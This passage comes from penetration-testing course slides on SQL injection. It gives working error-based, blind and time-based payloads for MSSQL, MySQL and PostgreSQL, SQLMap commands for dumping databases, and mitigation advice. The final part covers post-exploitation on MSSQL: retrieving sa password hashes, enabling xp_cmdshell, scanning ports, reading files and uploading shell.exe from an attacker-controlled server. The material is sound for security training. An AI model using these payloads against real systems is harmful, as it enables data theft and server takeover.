9999 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM
<database name>..sysobjects WHERE xtype='U' and name NOT IN
(<known table list>)); --

• xtype='U'
• Means that we are only interested in user defined tables
• name NOT IN ('<known table list>')
• name is a column of the "sysobjects" special table. Every time
we find a new table we will append it to the NOT IN list. This is
needed because the error displays only the first table name
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Example:
If a database contains three tables:
• HR
• Customers
• Products
<known table list> will:
• Be empty in the first payload. ... name NOT IN ('') will
work!
• Contain 'HR' at the second step
• Contain 'HR', 'Customer', 'Products' at the last step
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
After retrieving the tables of a database, it is also possible to
recover the columns of each table. This is the schema of the
database and we can retrieve it by using the following
payload template:

9999 or 1 in (SELECT TOP 1 CAST (<db name>..syscolumns.name as


varchar(4096)) FROM <db name>..syscolumns,<db name>..sysobjects
WHERE <db name>..syscolumns.id=<db name>..sysobjects.id AND <db
name>..sysobjects.name=<table name> AND <db name>..syscolumns.name
NOT IN (<known column list>)); --

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


9999 or 1 in (SELECT TOP 1 CAST (<db name>..syscolumns.name as
varchar(4096)) FROM <db name>..syscolumns, <db name>..sysobjects
WHERE <db name>..syscolumns.id=<db name>..sysobjects.id AND <db
name>..sysobjects.name=<table name> AND <db name>..syscolumns.name
NOT IN (<known column list>)); --

• <db name> is the name of the database we are working on.


• <table name> is the name of the table which we are studying
• <known column list> is a list of the columns we already
retrieved

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


After enumerating the databases and their schemas, we can
proceed to the data dumping phase.

To retrieve the actual content of the database, we need to


use the knowledge we obtained of the database structure.
We will, again, trigger some errors by using the cast
technique.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


You can dump data by using the same technique we have
seen for schema enumeration:
9999 or 1 in (SELECT TOP 1 CAST (<column name> as varchar(4096))
FROM <db name>..<table name> WHERE <column name> NOT IN
(<retrieved data list>)); -- -

Let us see a couple of tricks to trigger errors depending on


the field data type.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

In this example we exploited page.php?id=1 and


identified a table called users in the database cms.
The table contains the following columns:
• id (int)
• username (varchar)
• password (varchar)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• To retrieve the id values, you can use the following
payload: Concatenation with "@"

9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM


cms..users WHERE id NOT IN ('')); -- -

Please note the concatenation of the id value with "@".


This ensures that the selected id has data type varchar
thus making the cast error possible!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Sending %2b to the web application means sending the +
character to the DBMS. The + character serves as string
concatenation command.
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM
cms..users WHERE id NOT IN ('')); -- -

• So the resulting error is something like

[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion


failed when converting the varchar value '1@' to data type int.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Then we can proceed with the usual method. We filter out
the id we already have:
9999 OR 1 IN (SELECT TOP 1 CAST(id as varchar)%2bchar(64) FROM
cms..users WHERE id NOT IN ('1')); -- -

• So the resulting error is something like

[Microsoft][SQL Server Native Client 10.0][SQL Server]Conversion


failed when converting the varchar value '2@' to data type int.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• After extracting all the ids, we can use this information to
extract all the usernames:
9999 OR 1 IN (SELECT TOP 1 CAST(username as varchar) FROM
cms..users WHERE id=1); -- -

No string concatenation is needed here, because


username data type is varchar. Using the ids, lets us
correlate usernames and passwords by retrieving the
password of a specific username.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• We can retrieve a password by using pretty much the
same payload we used for the username:
9999 OR 1 IN (SELECT TOP 1 CAST(password as varchar) FROM
cms..users WHERE id=1); -- -

• Or even concatenate the username and the password!

9999 OR 1 IN (SELECT username%2bchar(64)%2bpassword FROM


cms..users WHERE id=1); -- -

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the following video you will see how to manually exploit
error-based SQL injections.
You will see different ways to trigger errors, and some applied
payload examples. Moreover, you will see how to submit your
payload via the browser and a command line utility.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
To exploit error-based SQL injection on MySQL, we will use
the group by statement.
This statement groups the result-set by one or more columns.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:
The following query selects the screen names from the
accounts tables. Please note the two David values.
mysql> select displayname from accounts;
+-------------------+
| displayname |
+-------------------+
| Aspen Byers |
| Alexandra Cabrera |
| David |
| David |
+-------------------+
4 rows in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:
And this is the output of the same query with the group by
statement. There is just a single David value.
mysql> select displayname from accounts group by displayname;
+-------------------+
| displayname |
+-------------------+
| Alexandra Cabrera |
| Aspen Byers |
| David |
+-------------------+
3 rows in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The following statement is a skeleton you can use to create
your MySQL error-based injections:

select 1,2 union select count(*), concat(<information to extract>,


floor(rand(0)*2)) as x from information_schema.tables group by x;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

To extract the database version (4.5.43-0+deb7u1 in this


example) you can use:

mysql> select count(*), concat(version(), floor(rand(0)*2)) as x from


information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '4.5.43-0+deb7u11' for key
'group_key'

Result of the random function


DB Version

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To exploit a SQLi on a web application using PostgreSQL, you
have to leverage the cast technique we saw for MSSQL.
Example:
You can use this technique to extract the DB version:
# select cast(version() as numeric);
ERROR: invalid input syntax for type numeric: "PostgreSQL 9.1.15
on x86_64-unknown-linux-gnu, compiled by gcc (Debian 4.7.2-5)
4.7.2, 64-bit"

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:
Or the tables, by iterating over the information_schema
special database:
dbname=# select cast((select table_name from information_schema.tables
limit 1 offset 0) as numeric);
ERROR: invalid input syntax for type numeric: "pg_statistic"
dbname=# select cast((select table_name from information_schema.tables
limit 1 offset 1) as numeric);
ERROR: invalid input syntax for type numeric: "pg_type"
dbname=# select cast((select table_name from information_schema.tables
limit 1 offset 2) as numeric);
ERROR: invalid input syntax for type numeric: "pg_attribute"

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To exploit an Error-based SQL injection you need the techniques and
payload skeletons we have seen in this chapter and you have to study
how different DBMS functions work.
You can refer to the following cheat sheets by PentestMonkey to craft
your payloads:
• MSSQL Injection Cheat Sheet: http://pentestmonkey.net/cheat-sheet/sql-
injection/mssql-sql-injection-cheat-sheet
• MySQL Injection Cheat Sheet: http://pentestmonkey.net/cheat-sheet/sql-
injection/mysql-sql-injection-cheat-sheet
• PostgreSQL Injection Cheat Sheet: http://pentestmonkey.net/cheat-sheet/sql-
injection/postgres-sql-injection-cheat-sheet

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Blind SQLi exploitation is an inference methodology you can
use to extract database schemas and data.
If the web application is not exploitable via in-band or error-
based SQL injections, yet still vulnerable, you can rely on
blind exploitation.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This does not mean that blind SQL injections are exploitable
only if the web application does not print errors on its
output.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


It simply means that when crafting a Boolean based SQLi
payload, you want to transform a query in a True/False
condition which reflects its state to the web application
output.

In the following slides we will see an example of a blind SQLi,


both on one application which prints errors on its output, and
a different application which does not print errors.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In this example, id is a
vulnerable parameter.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We can guess the dynamic query structure:
SELECT <fields> FROM <table> WHERE id='<id parameter>';

The query probably looks something like:


SELECT filename, views FROM images WHERE id='<id parameter>';

Now, we can try to trigger an always true condition and see


what happens.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We can use
' OR 'a'='a
and see that the
application shows an
image.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Let us test it with
another always true
condition:
' OR '1'='1
The result is the same.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


On the other hand, this
is an always false
condition:
' OR '1'='11
It does not find anything
in the database: there is
no image and no view
counter. So this is
clearly an exploitable
SQL injection.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Once penetration testers find a way to tell when a condition
is true or false, they can ask the database some simple
True/False questions, like:
• Is the first letter of the username 'a'?
• Does this database contain three tables?
• And so on...
By using this method, a penetration tester can freely query
the database! Let us see an example.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

Let us see a way to find the current database user by using


Boolean based blind SQL injections.

We will use two MySQL functions: user() and substring().

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• user() returns the name of the user currently using the
database:

mysql> select user();


+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• substring() returns a substring of the given argument. It
takes three parameters: the input string, the position of
the substring and its length.
mysql> select substring('elearnsecurity', 2, 1);
+-----------------------------------+
| substring('elearnsecurity', 2, 1) |
+-----------------------------------+
| l |
+-----------------------------------+
1 row in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Functions can be used as argument of other functions.

mysql> select substring(user(), 1, 1);


+-------------------------+
| substring(user(), 1, 1) |
+-------------------------+
| r |
+-------------------------+
1 row in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Moreover, SQL allows you to test the output of a function
in a True/False condition.
mysql> select substring(user(), 1, 1) = 'r';
+-------------------------------+
| substring(user(), 1, 1) = 'r' | True
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)

mysql> select substring(user(), 1, 1) = 'a';


+-------------------------------+
| substring(user(), 1, 1) = 'a' | False
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By combining those features we can iterate over the letters of
the username by using payloads such as:
• ' or substr(user(), 1, 1)= 'a
• ' or substr(user(), 1, 1)= 'b
• ...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


When we find the first letter, we can move to the second:
• ' or substr(user(), 2, 1)= 'a
• ' or substr(user(), 2, 1)= 'b
• ...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


We continue down this path
until we know the entire
username.
Here you can see that the first
letter of the database username
of the web application is "s".
We infer this because we see an
image and we know an image is
shown only upon a TRUE
condition.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Submitting all the payloads needed to find a username by
hand, is very impractical. Doing the same to extract the
content of an entire database would be nearly impossible.

In the SQLMap chapter you will see how automate the


dumping phase.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Now we can see another example: a web application that
does not print any error on its output.

The methodology used to exploit the SQLi is the same!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This is the web application output for a false condition.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
And this is the output for a true condition.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
The string Nokia appears only when a correct guess is made
(true condition).

We want to understand what the output looks like when we


have a correct guess.
We will have to find text in the web page code that will only
appear for the correct guess: this will let us tell a match from
a mismatch.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

If the value of a field is Armando, we will have to make 7


iterations through the whole charset (one per character in
the string)!
We will have made a correct guess when the string Nokia will
be met in the output.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Since the main difference between Error-based/in-band and
blind sql injections is the large numbers of requests
performed (and the time consumed as a consequence), our
first objective is to narrow down the charset.
The charset will be our iteration space, so the smaller it is, the
sooner we will retrieve the correct value.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:
To retrieve the first letter of string containing "dbo", we have
to submit the following payloads to the web application:
9999 or SUBSTRING(user_name(),1,1) = 'a';--

Output from the web app: FALSE


9999 or SUBSTRING(user_name(),1,1) = 'b';--

Output from the web app: FALSE


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
9999 or SUBSTRING(user_name(),1,1) = 'c';--

Output from the web app: FALSE

9999 or SUBSTRING(user_name(),1,1) = 'd';--

Output from the web app: True

This tells us that the first letter of the username id "d".


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
It is clear that you will hardly perform manual exploitation of
Blind SQL injection vulnerabilities.
However, when building your own BSQLi shell scripts, you
need to keep the process as fast as possible.
We will now see a simple technique to reduce the number of
requests by narrowing down the number of characters in the
charset.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


One of the best optimizations you can do to your Blind SQL
injection exploitation algorithm, is to reduce the number of
iterations you have to do per character.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This means that you need to be able to understand if the
character you're trying to guess is:
• [A-Z]
• [a-z]
• [0-9]
We will now review a technique discovered by SecForce.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The first test is to see if the conversion to upper case of the
current character will yield a FALSE or TRUE condition:

ASCII(UPPER(SUBSTRING((<query>),<position>, 1)))=
ASCII(SUBSTRING((<query>), <position>, 1))

Keep note of the TRUE or FALSE condition you find.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

The ASCII() SQL function returns the ASCII code of a


character.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

The UPPER() function transforms a character into uppercase.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=
ASCII(SUBSTRING((MY Query), <position>, 1))

Finally we test if a character of a query is the same as its


uppercase relative.
Example:

a does not equals A


A equals A
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Then we test if the conversion to lower case of the current
character will yield a FALSE or TRUE condition:

ASCII(LOWER(SUBSTRING((<query>),<position>, 1)))=
ASCII(SUBSTRING((<query>), <position>, 1))

Keep note of the TRUE or FALSE condition you find.


Lower() converts a character to lowercase.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Now it is time to evaluate the results:
• If the first query returns TRUE and the second is FALSE, the
character is uppercase:
We will iterate through [A-Z] only
• If the first query returns FALSE and the second is TRUE the
character is lowercase:
We will iterate through [a-z] only
• If both queries are TRUE our character is either a number or a
symbol:
We will iterate through [0-9] and symbols only
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Another Blind SQL Injection technique is called
Time-Based Blind Sql injection. Time is used to infer a TRUE
condition from a FALSE condition.
This SQL syntax is used:
%SQL condition% waitfor delay '0:0:5'
If the SQL condition is TRUE the DBMS will delay for 5
seconds.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Some examples of Time-Based SQL Injection:
• Check if we are ‘sa’ (MS SQL Server)
if (select user) = 'sa' waitfor delay '0:0:5‘
• Guess a database value (MySQL)
IF EXISTS (SELECT * FROM users WHERE username =
‘armando') BENCHMARK(10000000,MD5(1))

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Benchmark will perform MD5(1) function 1000000 times if
the IF clause yields TRUE (thus consuming time).
You should be careful with the first argument of
BENCHMARK(). It may seriously affect the server load

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the following video you will see how to manually exploit a
blind SQL injection. You will also see how to write some
scripts to automate the exploitation.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
After seeing how manual exploitation of a SQL injection
works, it is time to see one of the best and most used tools in
this field: SQLMap!
We will first take a look at its basic features, then we will
move on to advanced settings.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


As the official documentation says: "SQLMap is an open
source penetration testing tool that automates the process of
detecting and exploiting SQL injection flaws and taking over
of database servers".

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


With SQLMap you can both detect and exploit SQL injections.
We strongly recommend testing your injections by hand first
and then move to the tool because if you go full automatic,
the tool could choose an inefficient exploitation strategy or
even crash the remote service!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The basic syntax is pretty simple:

$ sqlmap –u <URL> -p <injection parameter> [options]

SQLMap needs to know the vulnerable URL and the


parameter to test for a SQLi. It could even go fully automatic,
without providing any specific parameter to test.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

To exploit the union-based in-band SQLi of one of our


previous examples, the syntax would have been:

$ sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U

This tells SQLMap to test the id parameter of the GET


request for view.php. Moreover it tells SQLMap to use a
UNION based SQL injection technique.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If you have to exploit a POST parameter you have to use:

$ sqlmap –u <URL> --data=<POST string> -p parameter [options]

You can write the POST string by yourself or copy it from a


request intercepted with Burp Proxy.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Another way to use SQLMap is by saving a request intercepted
with Burp Proxy to a file.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
And then specifying it on the command line:

$ sqlmap –r <request file> -p parameter [options]

You can also copy the POST string from a request intercepted
with Burp Proxy.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The very first step of most SQLi exploitations is grabbing the
database banner. By using the --banner switch you can grab
the database banner. This is extremely helpful both to test
your injection and to have proof of the exploitability of the
vulnerability to include in your report.

$ sqlmap -u <target> --banner <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Then you can move to a sort of information gathering phase.
The first thing is to list the users of the database:

$ sqlmap -u <target> --users <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Then check if the web application database user is a database
administrator:

$ sqlmap -u <target> --is-dba <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The --dbs command lets you list all of the available
databases:

$ sqlmap -u <target> --dbs <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


After that you can choose a database by using the -D switch
and list its tables:

$ sqlmap -u <target> -D <database> --tables <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the same manner you can choose one or more tables and
list their columns:

$ sqlmap -u <target> -D <database> -T <tables, comma separated


list> --columns <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Finally you can dump just the columns you need:

$ sqlmap -u <target> -D <database> -T <table> -C <columns list> --


dump <other options>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In the following video, you will see how to identify SQL
injection vectors.
You will see how to use Boolean logic injections to test
vulnerable parameters and use SQLMap to perform basic SQLi
exploitation.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In the following video you will see how to configure and use
SQLMap to automate your SQL injections! The video covers:
• Best practices and best workflow to perform SQLi
exploitation with SQLMap
• Exploiting GET injections
• Exploiting POST injections
• Checking the payloads used
• Configuring the right technique to use
• Using Burp Proxy and SQLMap
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Not all web application and exploitation scenarios are the
same. Because of that, SQLMap provides you with some
useful command line switches that help fine tune the
following:
• The DBMS you are attacking
• Injection point
• Payload aggressiveness
• Exploitation speed and load on the client's infrastructure

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Different DBMSs offer different features. This also implies
that you have to exploit different commands and default
configuration to perform a SQLi exploitation.
SQLMap is able to detect the DBMS behind a web application
automatically. If it fails, you can specify the DBMS by hand:

$ sqlmap --dbms=<DBMS> ...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The DBMSs you can specify are:
• MySQL • SQLite
• Oracle • Firebird
• PostgreSQL • Sybase
• Microsoft SQL Server • SAP MaxDB
• Microsoft Access • DB2
Specifying the DBMS also helps to shorten the detection phase
and its detectability.

Beware that specifying the wrong DBMS means sending useless


payloads to the target application.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Web applications sometime change their output in a way that
SQLMap cannot figure it out. This makes blind exploitation
impossible. To get around this, you can use the --string
and --not-string command line switches:
• Append to --string a string which is always be present in
true output pages
• Append to --not-string a string which is always be
present in false output pages

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

Using the --string command line switch in the previous


cell phones selling site looks like this:

$ sqlmap -u 'http://localhost/ecommerce.php?id=1' --string "nokia"


<other switches>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Sometimes a SQLi payload is inserted in a structured POST
parameter like a JSON or you need to insert some characters
to make the query syntactically correct.
You can do that by using the --prefix and --suffix
command line switches.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

If injected payloads need to end with ')); it looks like this:

$ sqlmap -u <URL> --suffix "'));" <other switches>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


For sake of simplicity in our examples we always exploited
GET parameters, but SQLi can be performed on any client-
side input field.
By using the --level command line switch, SQLMap is able
to test:
• The Cookie header - values 2
• The User-Agent and Referrer - headers 3
• The Host - header 5

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By default (Level 1) SQLMap tests GET and POST parameters,
increasing to Level 2 makes it test Cookie headers and
increasing it more makes it test other headers and increase
the number of columns tested for in-band exploitation.
Please note that the use of the -p switch bypasses the Level.
This means that by manually setting the parameter to test,
you can perform a more accurate, stealthy and in-depth
exploitation.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


As we have seen in this module, SQL injections are very
powerful. This means that they also have a lot of potential to
destroy or create a denial of service attack on your client's
infrastructure.
Example:
Permanently injecting some heavy time-based SQLis on a
popular page on a web site can:
• Make the page load extremely slow
• Eat-up all the CPU resources available for that site
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
The --risk parameter lets you fine-tune how dangerous
your injections can be. Use this parameter only when needed
after carefully studying the web application you are testing!

Generally speaking, launching SQLMap with both a high level


and risk and letting it automatically test for injection points is
very unprofessional and will probably generate issues to
your client's infrastructure!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


There are three Risk levels. Increasing Risk means first
enabling heavy time-based injections and then enable OR-
based injections.
Risk SQLMap Behavior
1 (Default) innocuous injections
2 Enables heavy time-based injections
3 Enables OR-based injections

OR-based injections are enabled only on the highest Risk


value because using them on UPDATE queries would update
all the rows in a table.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
SQLi injections can take a long time to dump the data needed
in a penetest. This time can be reduced by using persistent
connection to the target by using the --keep-alive
command line switch.

$ sqlmap -u <target> --keep-alive <other commands>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Once you found out how to exploit a SQLi, you can reduce the
dumping phase time by using parallel threads. Use the
--threads command line switch with an argument ranging
from 1 to 10.
Example:

Using 7 threads to exploit a blind injection

$ sqlmap -u <target> --technique=B --threads 7 <other commands>

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


SQL Injections are one of the most common attacks black hat
hackers use: they can rapidly take control over data and get
unauthorized access to the entire server!

As a penetration tester you have to find a way to exploit SQL


injections without destroying your client's web application or
causing a denial of service.

As always in ethical hacking, knowledge is the key for success!


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
SQLi vulnerabilities are input validation vulnerabilities and
can be prevented by enforcing input validation on any user-
controlled parameter.

In the following slides, you will see some mitigation strategies


you can propose to a client in your report.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Web applications which use SQL, can separate the code from
instructions using bind variables in SQL. This is the best
solution to mitigate SQL Injection and should always be
favored over any other solution.

Implementing prepared statements could be a long term


objective as it implies code refactoring of nearly every SQL
interaction in the web application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

This is what a prepared statement in PHP looks like: No user-controlled


input in the query
$sql = "INSERT INTO test_table VALUES (?, ?, ?, ?)";
$sql_statement = $mysqli->prepare($sql);
$sql_statement->bind_param('dsss', $user_id, $name, $address,
$email);
$user_id = $_POST['user_id']; Tells the library which
$name = $_POST['name']; variable goes to which
$address = $_POST['address']; part of the query
$email = $_POST['email'];
Executes the
$sql_statement->execute();
query

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


A short term method to prevent some SQLis is to perform
type casting for some data types, perhaps most notably
integer numbers:
Example:

$user_id = (int) $user_id;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Input validation is a great short term solution and a good
practice to put into production on top of prepared
statements.

It can sometimes protect your application if a SQL Injection


vulnerability is somehow introduced by accident.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

This is a white-list based validation example written in PHP.


Only letters, spaces and dashes are allowed:

if (!preg_match(|'^[a-z\s-]$|i', $name)) {
die('Please enter a valid name');
}

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In this chapter, you will see how to use some advanced
features provided by MS SQL Server and MySQL. These
features can be exploited to gain access to the DMBS server
machine.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


SQL Server is a very powerful DBMS, providing advanced
features to database administrators. Most of these features
are privileged commands.
Users like dbo are not usually privileged enough to perform
these commands.
From a penetration tester point of view, you can exploit these
features to perform the advanced attacks that we will review
in the next slides.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Since we will need high privileges, our first testing objectives
is to retrieve the sa user's password.
Once we have the SHA-1 hash of the password, we can crack
it and access the database in the same manner as a legitimate
database administrator.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


There are two queries you can run to retrieve the username
and the password hash:

SELECT name, password FROM master..sysxlogins

SELECT name, password_hash FROM master.sys.sql_logins

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The sa user has complete control over the DBMS, the
databases it contains and... The advanced features!
Most of the functionalities useful for a penetration tester
exploit the xp_cmdshell stored procedure.
You can use the following syntax to run any OS command:

EXEC master..xp_cmdshell '<command>'

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


However, xp_cmdshell is not enabled by default.
Moreover it requires sa privileges.

But, if the web application is connecting to the backend DB as


the sa user, or we can somehow connect as sa, we can
enable it!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To enable it we have to issue the following commands:

EXEC sp_configure 'show advanced options', 1;


RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


And we can disable it again after we are done with our tests:

EXEC sp_configure 'xp_cmdshell', 0;


EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By using xp_cmdshell we can launch some commands on
the database server.
We can combine this with some other SQL Server features to
mount a host enumeration utility via SQL injections.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Issuing a ping command is just a matter of running:

EXEC master.dbo.xp_cmdshell 'ping <target IP address>'

Unfortunately, the query above does not show results to a


penetration tester.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Anyway, we can use the query execution time to infer the
ping result. To do that, we have to compare the execution
time of a ping command executed against a known live host
and the execution time against the host we want to test. The
database server is often your best choice for a known live
server.
So we test it first and note the execution time. Then we try it
with another host.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By default the MS ping utility sends four ICMP echo requests.
This means that pinging a live host takes about 5 to 8 second,
while pinging a bogus IP address takes from 20 to 30 seconds.

By using an advanced SQL Server feature we can also


implement a simple port scanner.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


OPENROWSET is a SQL Server method you can use to access
the tables of a remote server. It needs the IP address and the
port to connect to. This can be exploited to create a port
scanner.

SELECT * from OPENROWSET('SQLOLEDB',


'uid=sa;pwd=something;Network=DBMSSOCN;Address=<target IP>,<target
port>;timeout=<connection timeout in seconds>', 'select 1')--

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• If the port is closed we will see an error similar to this:
SQL Server does not exist or access denied

• If the port is open we will see:


General network error.
Check your network documentation

• If errors are hidden and the port is closed the connection


will timeout according to the <connection timeout
in seconds> value.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Going on, you can also read the file system by launching the
dir command:

EXEC master..xp_cmdshell 'dir <target directory>'

That will return the directory listing of <target


directory>.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To read the result, we can save the output of the command
on a web accessible folder:

EXEC master..xp_cmdshell 'dir c:\ > C:\inetpub\wwwroot\site\dir.txt'--

and then just browse to dir.txt at the URL:


http://site.com/dir.txt

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Or we can read a file on the server and then put its content
into a table. Then we can extract the table via SQLi like any
other table:

CREATE TABLE filecontent(line varchar(8000));


BULK INSERT filecontent FROM '<target file>';

/* Remeber to drop the table after extracting it:


DROP TABLE filecontent;
*/

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By using MSSQL advanced features, it is also possible to
upload a file to the victim server.
Uploading a file involves 2 steps:
•1 First, we have to insert the file into a table in a MS SQL
database under our control

CREATE TABLE HelperTable (file text)


BULK INSERT HelperTable FROM 'shell.exe' WITH (codepage='RAW')

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


2• Then, we force the target DB server to retrieve it from our
server:

EXEC xp_cmdshell 'bcp "SELECT * FROM HelperTable" queryout


shell.exe -c -Craw -S<our server address> -U<our server username>
-P<our server password>'

The victim server will connect to our SQL server, read the exe
file from the table and recreate it remotely.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Now that you know everything about advanced exploitation
of SQL Server, let’s see a technique to save the results of
